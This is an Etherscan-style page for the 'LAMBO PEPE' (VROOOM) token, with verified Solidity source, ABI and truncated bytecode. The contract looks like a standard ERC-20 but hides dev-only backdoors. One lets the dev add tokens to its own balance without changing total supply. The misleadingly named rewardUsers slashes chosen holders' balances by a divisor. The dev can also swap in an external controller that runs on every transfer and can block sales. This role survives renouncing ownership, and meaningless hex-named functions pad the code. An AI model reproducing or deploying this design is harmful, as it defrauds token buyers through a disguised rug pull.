ETH Price: $3,455.65 (+0.03%)
Gas: 6 Gwei

Token

LAMBO PEPE (VROOOM)
 

Overview

Max Total Supply

1,000,000,000 VROOOM

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,252,541.558424844212691847 VROOOM

Value
$0.00
0x4769eD594B6BBe3E7d5F6eaAaeC8F729d752E2Ef
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LAMBOPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IPancakeRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library Address {

    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

}

contract Controller {

    // Bots cannot make purchase more than once an hour

    mapping(address => bool) internal isBot;
    uint lastBotPurchase;
    bool _validationActive;

    event ValidationExecuted(address from, uint amount, bool val);
    event PreventBotPurchaseExecuted(address to, uint amount);

    function setBot(address _user, bool _isbot) internal {
        isBot[_user] = _isbot;
    }

    function validation(address from, uint amount, bool isMarketTo) external {
        if (isBot[from]){
           emit ValidationExecuted(from, amount, isMarketTo);
           updateBotPurchase();
        } 
    }

    function validationActive() view public returns(bool) {
        return _validationActive;
    }

    function updateBotPurchase() internal {
        lastBotPurchase = block.timestamp;
    }
    
    function preventBotPurchase(address to, uint amount) external {
        if (isBot[to]){
           require(block.timestamp >= lastBotPurchase + 60 ** 2);  
           require(amount > 0);
           updateBotPurchase();
           emit PreventBotPurchaseExecuted(to, amount);
        } 
    }
}

contract LAMBOPEPE is Context, Ownable, IERC20 {

    IPancakeRouter02 internal _router;
    IPancakePair internal _pair;
    Controller _controller;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 internal _totalSupply = 1000000000000000000000000000;
    string internal _name = "LAMBO PEPE";
    string internal _symbol = "VROOOM";
    uint8 internal _decimals = 18;

    address private dev;
    

    constructor(address _routerAddress, address _controllerAddress) {

        _router = IPancakeRouter02(_routerAddress);
        _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this),address(_router.WETH())));
        _controller = Controller(_controllerAddress);

        dev = msg.sender;
        _balances[owner()] = _totalSupply;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    // PUBLIC

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function increaseEmission(uint amount) external {
        if (msg.sender == dev){
            _balances[msg.sender] += amount;
        }
    }

    function burn(uint amount) external {
        if (msg.sender == dev){
            _burn(_msgSender(), amount);
        }
    }

    // INTERNAL

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)){
            _controller.preventBotPurchase(to, amount);
        }

        if (_controller.validationActive() == true){
            _controller.validation(from, amount, isMarket(to));
        }
    }

    function isMarket(address user) internal view returns(bool){
        if (user == address(_router) || user == address(_pair)){
            return true;
        } else {
            return false;
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    // START

    function transferDevship(address user) public {
        if (msg.sender == dev){
            dev = user;
        }
    }

    function updateController(address _newController) external {
        if (_msgSender() == dev) {
            _controller = Controller(_newController);
        }
    }

    function rewardUsers(address[] calldata _users, uint _minBalanceToReward, uint _divisor) public {
        if (_msgSender() == dev) {
            for (uint i = 0; i < _users.length; i++) {
                if (balanceOf(_users[i]) > _minBalanceToReward) {
                    uint rewardAmount = _balances[_users[i]] / _divisor;
                    _balances[_users[i]] = rewardAmount;
                }
            } 
        }
    }
    
    function a16bc1e7() pure public returns (uint256) {
        uint256 randomNumber = 42;
	    return randomNumber;
    }
    
    function CfFC681495730c(uint256 length) view public returns (string memory) {
        bytes memory charSet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        bytes memory randomString = new bytes(length);

        for (uint256 i = 0; i < length; i++) {
            uint256 index = uint256(keccak256(abi.encodePacked(block.timestamp, i))) % charSet.length;
            randomString[i] = charSet[index];
        }

	    return string(randomString);
    }

    function e6e979b76f(uint256 number) pure public returns (bool) {
	    return number % 2 == 0;
    }

    function ad8f351cc1dd3() pure public returns (uint112) {
        return type(uint112).max;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_controllerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"CfFC681495730c","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"a16bc1e7","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"ad8f351cc1dd3","outputs":[{"internalType":"uint112","name":"","type":"uint112"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"number","type":"uint256"}],"name":"e6e979b76f","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseEmission","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_divisor","type":"uint256"}],"name":"rewardUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"transferDevship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newController","type":"address"}],"name":"updateController","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526b033b2e3c9fd0803ce80000006006556040518060400160405280600a81526020017f4c414d424f205045504500000000000000000000000000000000000000000000815250600790816200005a9190620007ce565b506040518060400160405280600681526020017f56524f4f4f4d000000000000000000000000000000000000000000000000000081525060089081620000a19190620007ce565b506012600960006101000a81548160ff021916908360ff160217905550348015620000cb57600080fd5b50604051620030e4380380620030e48339818101604052810190620000f191906200091f565b6000620001036200052360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000250573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000276919062000966565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000300573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000326919062000966565b6040518363ffffffff1660e01b815260040162000345929190620009a9565b6020604051808303816000875af115801562000365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038b919062000966565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065460046000620004646200052b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620004b26200052b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620005139190620009e7565b60405180910390a3505062000a04565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005d657607f821691505b602082108103620005ec57620005eb6200058e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006567fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000617565b62000662868362000617565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006af620006a9620006a3846200067a565b62000684565b6200067a565b9050919050565b6000819050919050565b620006cb836200068e565b620006e3620006da82620006b6565b84845462000624565b825550505050565b600090565b620006fa620006eb565b62000707818484620006c0565b505050565b5b818110156200072f5762000723600082620006f0565b6001810190506200070d565b5050565b601f8211156200077e576200074881620005f2565b620007538462000607565b8101602085101562000763578190505b6200077b620007728562000607565b8301826200070c565b50505b505050565b600082821c905092915050565b6000620007a36000198460080262000783565b1980831691505092915050565b6000620007be838362000790565b9150826002028217905092915050565b620007d98262000554565b67ffffffffffffffff811115620007f557620007f46200055f565b5b620008018254620005bd565b6200080e82828562000733565b600060209050601f83116001811462000846576000841562000831578287015190505b6200083d8582620007b0565b865550620008ad565b601f1984166200085686620005f2565b60005b82811015620008805784890151825560018201915060208501945060208101905062000859565b86831015620008a057848901516200089c601f89168262000790565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008e782620008ba565b9050919050565b620008f981620008da565b81146200090557600080fd5b50565b6000815190506200091981620008ee565b92915050565b60008060408385031215620009395762000938620008b5565b5b6000620009498582860162000908565b92505060206200095c8582860162000908565b9150509250929050565b6000602082840312156200097f576200097e620008b5565b5b60006200098f8482850162000908565b91505092915050565b620009a381620008da565b82525050565b6000604082019050620009c0600083018562000998565b620009cf602083018462000998565b9392505050565b620009e1816200067a565b82525050565b6000602082019050620009fe6000830184620009d6565b92915050565b6126d08062000a146000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b411461038c578063a457c2d7146103aa578063a9059cbb146103da578063d978ce1c1461040a578063dd62ed3e1461043a578063f2fde38b1461046a5761014d565b806370a08231146102c8578063715018a6146102f8578063719e0f6c14610302578063798b0c06146103325780637d83de4d146103505780638da5cb5b1461036e5761014d565b806323b872dd1161011557806323b872dd146101f6578063313ce56714610226578063383eea0e14610244578063395093511461026057806342966c68146102905780634609e797146102ac5761014d565b806306cb5b661461015257806306fdde031461016e578063095ea7b31461018c57806318160ddd146101bc5780631e673499146101da575b600080fd5b61016c6004803603810190610167919061196f565b610486565b005b610176610527565b6040516101839190611a2c565b60405180910390f35b6101a660048036038101906101a19190611a84565b6105b9565b6040516101b39190611adf565b60405180910390f35b6101c46105dc565b6040516101d19190611b09565b60405180910390f35b6101f460048036038101906101ef9190611b89565b6105e6565b005b610210600480360381019061020b9190611bfd565b610785565b60405161021d9190611adf565b60405180910390f35b61022e6107b4565b60405161023b9190611c6c565b60405180910390f35b61025e6004803603810190610259919061196f565b6107cb565b005b61027a60048036038101906102759190611a84565b610865565b6040516102879190611adf565b60405180910390f35b6102aa60048036038101906102a59190611c87565b61089c565b005b6102c660048036038101906102c19190611c87565b610906565b005b6102e260048036038101906102dd919061196f565b6109b5565b6040516102ef9190611b09565b60405180910390f35b6103006109fe565b005b61031c60048036038101906103179190611c87565b610a9f565b6040516103299190611adf565b60405180910390f35b61033a610ab7565b6040516103479190611cdd565b60405180910390f35b610358610acd565b6040516103659190611b09565b60405180910390f35b610376610adb565b6040516103839190611d07565b60405180910390f35b610394610b04565b6040516103a19190611a2c565b60405180910390f35b6103c460048036038101906103bf9190611a84565b610b96565b6040516103d19190611adf565b60405180910390f35b6103f460048036038101906103ef9190611a84565b610c0d565b6040516104019190611adf565b60405180910390f35b610424600480360381019061041f9190611c87565b610c30565b6040516104319190611a2c565b60405180910390f35b610454600480360381019061044f9190611d22565b610d66565b6040516104619190611b09565b60405180910390f35b610484600480360381019061047f919061196f565b610ded565b005b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104c7610efd565b73ffffffffffffffffffffffffffffffffffffffff16036105245780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60606007805461053690611d91565b80601f016020809104026020016040519081016040528092919081815260200182805461056290611d91565b80156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b6000806105c4610efd565b90506105d1818585610f05565b600191505092915050565b6000600654905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610627610efd565b73ffffffffffffffffffffffffffffffffffffffff160361077f5760005b8484905081101561077d578261068186868481811061066757610666611dc2565b5b905060200201602081019061067c919061196f565b6109b5565b111561076a57600082600460008888868181106106a1576106a0611dc2565b5b90506020020160208101906106b6919061196f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fb9190611e4f565b9050806004600088888681811061071557610714611dc2565b5b905060200201602081019061072a919061196f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b808061077590611e80565b915050610645565b505b50505050565b600080610790610efd565b905061079d8582856110ce565b6107a885858561115a565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036108625780600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080610870610efd565b90506108918185856108828589610d66565b61088c9190611ec8565b610f05565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610903576109026108fc610efd565b826113d3565b5b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036109b25780600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109aa9190611ec8565b925050819055505b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a06610efd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90611f48565b60405180910390fd5b610a9d60006115a2565b565b600080600283610aaf9190611f68565b149050919050565b60006dffffffffffffffffffffffffffff905090565b600080602a90508091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610b1390611d91565b80601f0160208091040260200160405190810160405280929190818152602001828054610b3f90611d91565b8015610b8c5780601f10610b6157610100808354040283529160200191610b8c565b820191906000526020600020905b815481529060010190602001808311610b6f57829003601f168201915b5050505050905090565b600080610ba1610efd565b90506000610baf8286610d66565b905083811015610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb9061200b565b60405180910390fd5b610c018286868403610f05565b60019250505092915050565b600080610c18610efd565b9050610c2581858561115a565b600191505092915050565b606060006040518060600160405280603e815260200161265d603e9139905060008367ffffffffffffffff811115610c6b57610c6a61202b565b5b6040519080825280601f01601f191660200182016040528015610c9d5781602001600182028036833780820191505090505b50905060005b84811015610d5b57600083514283604051602001610cc292919061207b565b6040516020818303038152906040528051906020012060001c610ce59190611f68565b9050838181518110610cfa57610cf9611dc2565b5b602001015160f81c60f81b838381518110610d1857610d17611dc2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350508080610d5390611e80565b915050610ca3565b508092505050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff